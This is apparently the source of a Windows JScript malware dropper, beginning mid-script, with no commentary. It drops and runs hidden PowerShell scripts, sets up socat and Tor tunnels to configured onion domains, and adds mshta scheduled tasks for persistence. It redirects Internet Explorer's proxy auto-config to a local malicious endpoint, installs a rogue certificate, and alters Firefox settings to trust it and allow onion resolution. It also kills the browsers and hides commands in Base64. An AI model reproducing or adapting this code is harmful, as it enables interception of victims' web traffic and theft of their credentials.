$s2cmd='socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050';
$s1_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s1cmd',0,false))`"";
$s2_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s2cmd',0,false))`"";
AddTask 'MRT' 'mshta.exe' $s1_cmd 0 0 $s_fold;
AddTask 'SC' 'mshta.exe' $s2_cmd 0 0 $s_fold;
}
ITP"
};
var Base64 = {
    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    encode: function(e) {
        var t = "";
        var n, r, i, s, o, u, a;
        var f = 0;
        e = Base64._utf8_encode(e);
        while (f < e.length) {
            n = e.charCodeAt(f++);
            r = e.charCodeAt(f++);
            i = e.charCodeAt(f++);
            s = n >> 2;
            o = (n & 3) << 4 | r >> 4;
            u = (r & 15) << 2 | i >> 6;
            a = i & 63;
            if (isNaN(r)) {
                u = a = 64
            } else if (isNaN(i)) {
                a = 64
            }
            t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) +
                this._keyStr.charAt(u) + this._keyStr.charAt(a)
        }
        return t
    },
    decode: function(e) {
        var t = "";
        var n, r, i;
        var s, o, u, a;
        var f = 0;
        e = e.replace(/[^A-Za-z0-9+/=]/g, "");
        while (f < e.length) {
            s = this._keyStr.indexOf(e.charAt(f++));
            o = this._keyStr.indexOf(e.charAt(f++));
            u = this._keyStr.indexOf(e.charAt(f++));
            a = this._keyStr.indexOf(e.charAt(f++));
            n = s << 2 | o >> 4;
            r = (o & 15) << 4 | u >> 2;
            i = (u & 3) << 6 | a;
            t = t + String.fromCharCode(n);
            if (u != 64) {
                t = t + String.fromCharCode(r)
            }
            if (a != 64) {
                t = t + String.fromCharCode(i)
            }
        }
        t = Base64._utf8_decode(t);
        return t
    },
    _utf8_encode: function(e) {
        e = e.replace(/rn/g, "n");
        var t = "";
        for (var n = 0; n < e.length; n++) {
            var r = e.charCodeAt(n);
            if (r < 128) {
                t += String.fromCharCode(r)
            } else if (r > 127 && r < 2048) {
                t += String.fromCharCode(r >> 6 | 192);
                t += String.fromCharCode(r & 63 | 128)
            } else {
                t += String.fromCharCode(r >> 12 | 224);
                t += String.fromCharCode(r >> 6 & 63 | 128);
                t += String.fromCharCode(r & 63 | 128)
            }
        }
        return t
    },
    _utf8_decode: function(e) {
        var t = "";
        var n = 0;
        var r = c1 = c2 = 0;
        while (n < e.length) {
            r = e.charCodeAt(n);
            if (r < 128) {
                t += String.fromCharCode(r);
                n++
            } else if (r > 191 && r < 224) {
                c2 = e.charCodeAt(n + 1);
                t += String.fromCharCode((r & 31) << 6 | c2 & 63);
                n += 2
            } else {
                c2 = e.charCodeAt(n + 1);
                c3 = e.charCodeAt(n + 2);
                t += String.fromCharCode((r & 15) << 12 | (c2 & 63) <<
                    6 | c3 & 63);
                n += 3
            }
        }
        return t
    }
};
var Help = {
    BinaryDataToFile: function(sFileName, bData) {
        var streamW = new ActiveXObject("ADODB.Stream");
        streamW.Open();
        streamW.Type = BINARY_STREAM_TYPE;
        var rs = new ActiveXObject("ADODB.Recordset");
        var len = bData.length * 2;
        rs.Fields.Append("data", 204, len, 0x80);
        rs.Open();
        rs.AddNew();
        rs.Fields("data").AppendChunk(bData);
        rs.Update();
        rs.MoveFirst();
        var binArray = rs("data").GetChunk(len);
        rs.Close();
        streamW.Write(binArray);
        streamW.Position = 0;
        if (fso.FileExists(sFileName)) {
            fso.DeleteFile(sFileName)
        }
        streamW.SaveToFile(sFileName);
        streamW.Close();
        var outStreamA = new ActiveXObject("ADODB.Stream");
        var outStreamB = new ActiveXObject("ADODB.Stream");
        outStreamA.Type = TEXT_STREAM_TYPE;
        outStreamB.Type = TEXT_STREAM_TYPE;
        outStreamB.Charset = "ISO-8859-1";
        outStreamA.Open();
        outStreamB.Open();
        outStreamA.LoadFromFile(sFileName);
        outStreamA.Position = 0;
        outStreamA.CopyTo(outStreamB);
        outStreamA.Close();
        outStreamB.SaveToFile(sFileName, CREATE_OVERWRITE_SAVE_MODE);
        outStreamB.Close()
    },
    RandomNumber: function(m, n) {
        m = parseInt(m, 10);
        n = parseInt(n, 10);
        return Math.floor(Math.random() * (n - m + 1)) + m
    },
    GenStr: function(length, special) {
        var iteration = 0;
        var password = "";
        var randomNumber;
        if (special === undefined) {
            special = false
        }
        while (iteration < length) {
            randomNumber = (Math.floor((Math.random() * 100)) % 94) +
                33;
            if (!special) {
                if ((randomNumber >= 33) && (randomNumber <= 47)) {
                    continue
                }
                if ((randomNumber >= 58) && (randomNumber <= 64)) {
                    continue
                }
                if ((randomNumber >= 91) && (randomNumber <= 96)) {
                    continue
                }
                if ((randomNumber >= 123) && (randomNumber <= 126)) {
                    continue
                }
            }
            iteration++;
            password += String.fromCharCode(randomNumber)
        }
        return password
    },
    trim: function(str) {
        return str.replace(/(^\s+)|(\s+$)/g, "")
    }
};
if (!String.format) {
    String.format = function(format) {
        var args = Array.prototype.slice.call(arguments, 1);
        return format.replace(/{(\d+)}/g, function(match, number) {
            return typeof args[number] != "undefined" ? args[number] :
                match
        })
    }
}

function C_IE() {
    this.FileName = Help.GenStr(8) + ".ps1";
    this.GetIp = function() {
        var xhttp = new ActiveXObject("MSXML2.XMLHTTP");
        try {
            xhttp.open("GET", "http://api.ipify.org/", false);
            xhttp.send();
            if (xhttp.status == 200) {
                return Help.trim(xhttp.responseText)
            }
        } catch (e) {}
        try {
            xhttp.open("GET", "http://icanhazip.com/", false);
            xhttp.send();
            if (xhttp.status == 200) {
                return Help.trim(xhttp.responseText)
            }
        } catch (e) {
            return ""
        }
    };
    this.InstallPac = function() {
        wss.RegWrite(Base64.decode(
            "SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"
        ), 0, "REG_DWORD");
        for (var i = 0; i < 5; i++) {
            var sIp = this.GetIp();
            if (sIp.length > 0) {
                this.WriteReg(String.format(
                    "http://127.0.0.1:5555/{0}.js?ip={1}", Help.GenStr(
                        8), sIp))
            }
        }
    };
    this.WriteReg = function(s) {
        wss.RegWrite(Base64.decode(
            "SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"
        ), s, "REG_SZ")
    };
    this.IC = function() {
        this.FileName = ENV_TEMP + "\\" + this.FileName;
        var bData = Base64.decode(Cfg.ps);
        bData = bData.replace("%CERT%", Cfg.cert);
        Help.BinaryDataToFile(this.FileName, bData);
        wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
            "\"", 0, true)
    };
    this.Close = function() {
        if (fso.FileExists(this.FileName)) {
            fso.DeleteFile(this.FileName)
        }
    }
}

function C_FF() {
    var StrFirefoxProfilesDir = ENV_APPDATA + "\\Mozilla\\Firefox\\Profiles";
    this.FileName = Help.GenStr(8) + ".ps1";
    this.GetProfile = function() {
        if (fso.FolderExists(StrFirefoxProfilesDir)) {
            var ArrFirefoxProfileList = fso.GetFolder(StrFirefoxProfilesDir)
                .SubFolders;
            if (ArrFirefoxProfileList.Count > 0) {
                var e = new Enumerator(ArrFirefoxProfileList);
                e.moveFirst();
                while (e.atEnd() == false) {
                    var folder = e.item();
                    if (folder.Name.indexOf(".default") > -1) {
                        return folder.Path
                    }
                    e.moveNext()
                }
            }
        }
        return false
    };
    this.InstallPac = function() {
        var StrProfile = this.GetProfile();
        if (StrProfile != false) {
            var StrPrefsJs = StrProfile + Base64.decode("XHByZWZzLmpz");
            if (fso.FileExists(StrPrefsJs)) {
                var StrContent = fso.OpenTextFile(StrPrefsJs, 1).ReadAll();
                var ArrContent = StrContent.split("\n");
                var NewArrContent = [];
                for (var i = 0; i < ArrContent.length; i++) {
                    if (ArrContent[i].indexOf("network.dns.blockDotOnion") !=
                        -1) {
                        ArrContent[i] = ArrContent[i].replace("true",
                            "false")
                    }
                    if (ArrContent[i].indexOf("network.proxy.") == -1 &&
                        ArrContent[i].indexOf(
                            "security.enterprise_roots.enabled") == -1) {
                        NewArrContent.push(ArrContent[i])
                    }
                }
                NewArrContent.push(
                    "user_pref(\"network.dns.blockDotOnion\", false);");
                NewArrContent.push(
                    "user_pref(\"security.enterprise_roots.enabled\", true);"
                );
                StrContent = NewArrContent.join("\n");
                var stream = fso.CreateTextFile(StrPrefsJs, true);
                stream.Write(StrContent);
                stream.Close()
            }
        }
    };
    this.InstallCert = function() {
        this.FileName = ENV_TEMP + "\\" + this.FileName;
        var bData = Base64.decode(Cfg.psf);
        bData = bData.replace("%CERT%", Cfg.cert);
        Help.BinaryDataToFile(this.FileName, bData);
        wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
            "\"", 0, true)
    };
    this.Close = function() {
        if (fso.FileExists(this.FileName)) {
            fso.DeleteFile(this.FileName)
        }
    }
}

function C_TP() {
    this.FileName = Help.GenStr(8) + ".ps1";
    this.Install = function() {
        var indexDomain = Help.RandomNumber(0, Cfg.dl.length - 1);
        var Domain = Cfg.dl[indexDomain];
        this.FileName = ENV_TEMP + "\\" + this.FileName;
        var bData = Base64.decode(Cfg.pstp);
        bData = bData.replace(/%DOMAIN%/g, Domain);
        Help.BinaryDataToFile(this.FileName, bData);
        wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
            "\"", 0, true)
    };
    this.Close = function() {
        if (fso.FileExists(this.FileName)) {
            fso.DeleteFile(this.FileName)
        }
    }
}

function Core() {
    this.Init = function() {
        Exp = new C_IE();
        Fire = new C_FF();
        TP = new C_TP()
    };
    this.S = function() {
        this.Init();
        TP.Install();
        this.CAB();
        this.IIE();
        this.IF();
        this.Close()
    };
    this.IIE = function() {
        Exp.IC();
        Exp.InstallPac()
    };
    this.IF = function() {
        Fire.InstallCert();
        Fire.InstallPac()
    };
    this.CAB = function() {
        wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGlleHBsb3JlLmV4ZQ=="),
            0, false);
        wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGZpcmVmb3guZXhl"), 0,
            false);
        wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGNocm9tZS5leGU="), 0,
            false)
    };
    this.Close = function() {
        Exp.Close();
        Fire.Close();
        TP.Close()
    }
}
var main = new Core();
main.S();